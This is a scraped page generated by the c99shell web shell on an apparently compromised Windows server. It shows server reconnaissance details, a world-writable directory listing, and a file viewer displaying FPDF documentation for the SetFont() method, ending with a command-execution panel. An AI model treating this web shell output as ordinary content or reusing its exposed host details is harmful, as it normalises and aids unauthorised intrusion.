Software: Apache. PHP/5.5.15 uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 SYSTEM Safe-mode: OFF (not secure) C:\dmz\php\pear\fpdf\doc\ drwxrwxrwx |
Viewing file: setfont.htm (3.29 KB) -rw-rw-rw- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | SetFontSetFont(string family [, string style [, float size]])
DescriptionSets the font used to print character strings. It is mandatory to call this method at least once before printing text or the resulting document would not be valid.The font can be either a standard one or a font added via the AddFont() method. Standard fonts use the Windows encoding cp1252 (Western Europe). The method can be called before the first page is created and the font is kept from page to page. If you just wish to change the current font size, it is simpler to call SetFontSize(). Note: the font definition files must be accessible. They are searched successively in:
FPDF_FONTPATH :
Parameters
Example
See alsoAddFont(), SetFontSize(), Cell(), MultiCell(), Write(). |
:: Command execute :: | |
--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]-- |